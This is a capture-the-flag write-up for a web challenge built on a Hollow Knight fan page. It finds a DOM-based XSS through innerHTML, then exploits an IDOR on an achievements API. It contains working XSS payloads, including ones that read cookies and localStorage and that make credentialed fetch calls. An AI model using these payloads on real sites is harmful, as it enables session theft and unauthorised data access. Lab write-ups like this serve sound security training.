Challenge Details
Name: Hollow Alternativo
URL: https://pipposnow.alqlab.com/
Platform: https://ctf.alquymia.com.br/
Category: Web
Difficulty: Medium
Initial Clues
- The challenge is based on a fan-made page for a famous game (Hollow Knight)
- The developer “left a serious flaw” during development
Phase 1: Reconnaissance and Proactive Code Analysis
Since there is no obvious error to guide us, we must actively hunt for the vulnerability by examining the page’s code.
Step 1.1: Formulate a Hypothesis
The achievements are not loading. This strongly suggests that a JavaScript function is responsible for fetching and displaying them, and that function is either failing or being blocked.
Step 1.2: Inspect the Source Code
To test our hypothesis, we need to find the code that handles the achievements.
- Open the Developer Tools
- Go to the Sources tab
- Use the search function (Ctrl+F or Cmd+F) to search for keywords related to the missing content. Good keywords would be “conquista”, “achievement”, or “container”
- The search will quickly lead you to the
loadAchievementsfunction
Step 3: Identify the First Vulnerability
Inside the loadAchievements function, you will find a try...catch block. This is a goldmine for security testers.
async function loadAchievements() {
const container = document.getElementById('achievements-container');
try {
// Code to fetch achievements from an API
const response = await fetch(API_BASE_URL);
// ...
} catch (error) {
// This is the vulnerable part
console.error('Erro ao carregar conquistas:', error);
container.innerHTML = `
<div class="error">
⚠️ Erro ao carregar conquistas dos antigos: ${error.message}
<br><br>
<small>Os segredos de Hallownest permanecem selados...</small>
</div>
`;
}
}
Code Explanation: Even without an error being thrown, we can see the vulnerability. The code inside the catch block takes the error.message and injects it directly into the page’s HTML using innerHTML. This is a classic Error-Based Cross-Site Scripting (XSS) vulnerability. If we can find a way to force an error and control its message, we can execute JavaScript.
Phase 2: The False Trail – Attempting to Exploit the Error Handler
Our first logical step is to try and exploit the vulnerability we just found.
Step 2.1: The Theory
We need to cause the try block to fail. A common way to do this is with Prototype Pollution. We can “pollute” the default properties of JavaScript objects so that when an error is created, its message property contains our malicious code.
Step 2.2: The Attempt
In the console, we can try to set a default message for all new Error objects:
Error.prototype.message = "<img src=x onerror=alert(1)>";
Then, we would reload the page, hoping the loadAchievements function fails and uses our polluted message.
Why This Fails: This approach does not work. Reloading the page does not produce an alert. This teaches us an important lesson: not all obvious vulnerabilities are exploitable. The error being thrown is a standard network error, and its message is generated by the browser’s internal networking stack, which our prototype pollution cannot affect. We must find another way in.
Phase 3: The Breakthrough – DOM-Based XSS
Since the error handler was a dead end, we must re-examine the code we found for another way in.
Step 3.1: Finding a New Vector
While still in the Sources tab, we find another function: displayAchievementModal(achievement). This function is designed to show a pop-up with achievement details.
function displayAchievementModal(achievement) {
// ...
document.getElementById('modalDescription').innerHTML = description;
// ...
const statsHTML = `
<div class="achievement-stats">
<span class="percentage">${achievement.percentage}% dos exploradores</span>
// ...
</div>
`;
document.getElementById('modalStats').innerHTML = statsHTML;
// ...
}
Concept Explained: This function is vulnerable to DOM-Based XSS. This vulnerability occurs when the client-side code unsafely manipulates the DOM. The use of innerHTML is a major red flag because it parses strings as HTML and executes any embedded scripts or event handlers.
Step 3.2: Crafting and Executing the Payload
We can control the achievement object. Let’s focus on the statsHTML variable, which uses achievement.percentage. We can inject our code by breaking out of the existing HTML tag.
- The template starts with:
<span class="percentage">${achievement.percentage}%... - If we set percentage to:
"><img src=x onerror="alert(1)"> - The resulting HTML becomes:
<span class="percentage">"><img src=x onerror="alert(1)">%...
This successfully closes the <span> tag and injects our <img> tag. The browser will try to load an image from a non-existent source (src=x), fail, and then execute the code in the onerror event handler.
In the console, we call the function ourselves with a malicious object:
displayAchievementModal({
name: "Test",
description: "A test achievement",
percentage: '"><img src=x onerror="alert(\'XSS Confirmed!\')">',
private: true
});
Step 3.3: Success!
An alert box with “XSS Confirmed!” appears. We have confirmed a working XSS vulnerability and now have the ability to execute arbitrary JavaScript on the page.
Phase 4: Weaponizing the XSS to Find the Flag
Now that we have code execution, we can use it as a tool to search for the flag systematically.
Step 4.1: Searching the Page’s HTML (DOM)
First, we check if the flag is hidden somewhere in the page’s source code by running this code in the Console:
displayAchievementModal({
name: "Specific DOM Search",
description: "Searching the page body with a more specific regex...",
percentage: '"><img src=x onerror="let flag = document.body.innerHTML.match(/ALQ{[\\w-]+}/); if(flag){console.log(\'FLAG FOUND: \' + flag[0]); document.title=flag[0];}else{console.log(\'FLAG NOT FOUND IN BODY\'); document.title=\'FLAG NOT FOUND IN BODY\';}">',
private: true
});
The page title changed to “FLAG NOT FOUND IN BODY“. This is a successful failure! We have definitively proven that the flag is not hidden in the visible part of the page.
Step 4.2: Checking Browser Storage
Since the flag isn’t in the DOM, our next logical step is to check, through the Console, common client-side storage locations like cookies and localStorage.
Check cookies:
displayAchievementModal({
name: "Cookie Search",
description: "Checking cookies for the flag...",
percentage: '"><img src=x onerror="document.title = document.cookie || \'NO COOKIES FOUND\'">',
private: true
});
Check localStorage:
displayAchievementModal({
name: "Storage Search",
description: "Checking localStorage for the flag...",
percentage: '"><img src=x onerror="document.title = JSON.stringify(localStorage) || \'LOCALSTORAGE IS EMPTY\'">',
private: true
});
These commands also reveal that the flag is not in cookies or localStorage. We’ve exhausted the client-side search options.
Phase 5: The Pivot – Investigating the API
Since the flag isn’t in the client-side code, we must pivot. Our initial clue was that the achievements were failing to load. Now that we have code execution, we can investigate that failure ourselves.
Step 5.1: Making an API Request
In the source code, we saw a variable API_BASE_URL which points to /api/achievements. We can use our XSS to make a fetch request to this endpoint and display the response.
displayAchievementModal({
name: "API Fetch",
description: "Fetching data from the API...",
percentage: '"><img src=x onerror="fetch(\'/api/achievements\', {credentials: \'include\'}).then(r=>r.text()).then(d=>document.body.innerText=d)">',
private: true
});
Step 5.2: The Critical Observation
The page content is replaced with a JSON array of achievement objects. We carefully inspect the id of each object.
[
{ "id": 1, ... },
{ "id": 2, ... },
{ "id": 3, ... },
{ "id": 4, ... },
{ "id": 5, ... },
{ "id": 6, ... },
// ... id 7 is missing!
{ "id": 8, ... }
]
The list of achievements jumps from id: 6 to id: 8. The achievement with id: 7 is missing. This is a strong indicator of a hidden resource.
Phase 6: The Final Exploit – A Robust Two-Step Attack
The missing id: 7 is our final clue. We need to make a request to /api/achievements/7.
Step 6.1: Acknowledging the Pitfall
A common mistake is to try and embed the entire complex fetch command directly into the XSS payload, like this: onerror="fetch(...).then(...)". This is highly unreliable. It’s prone to silent failures from quote escaping and syntax errors, making it nearly impossible to debug.
Step 6.2: The Solution
The standard and reliable method is to separate the complex logic from the injection point. We will do this in two clean steps.
Step 6.2-A: Define a Helper Function
First, we’ll define a clean, simple function in the console to do the heavy lifting:
function getSecret() {
console.log("Attempting to fetch the secret achievement...");
fetch('/api/achievements/7', {credentials: 'include'})
.then(response => response.json())
.then(data => {
console.log("SUCCESS! Here is the data:", data);
})
.catch(error => {
console.error("ERROR! The request failed:", error);
});
}
You will see undefined in the console, which is normal. The function is now defined and ready.
Step 6.2-B: Execute the Function with XSS
Now, we use our simple, reliable XSS payload to call the function we just created:
displayAchievementModal({
name: "Function Call",
description: "Using XSS to call our helper function...",
percentage: '"><img src=x onerror="getSecret()">',
private: true
});
Step 6.3: Finding the Flag
Immediately after running the second command, look at your Console. You will see the messages from our getSecret function, followed by the successful result with the flag.
SUCCESS! Here is the data: {
description: 'Você descobriu o segredo mais profundo de Hallownest! Flag: ALQ{<flag-content>}',
icon: 'ancient_secret.png',
id: 7,
name: 'Segredo Ancestral',
percentage: 0,
...
}
Summary of Vulnerabilities
DOM-based Cross-Site Scripting (XSS): The displayAchievementModal function insecurely rendered user-controlled data (achievement.percentage) into the page’s HTML using innerHTML without sanitization, allowing for arbitrary JavaScript execution.
Insecure Direct Object Reference (IDOR): The API endpoint /api/achievements/{id} exposed a secret object (id: 7) without performing proper authorization checks, allowing any user who could guess the ID to access it.


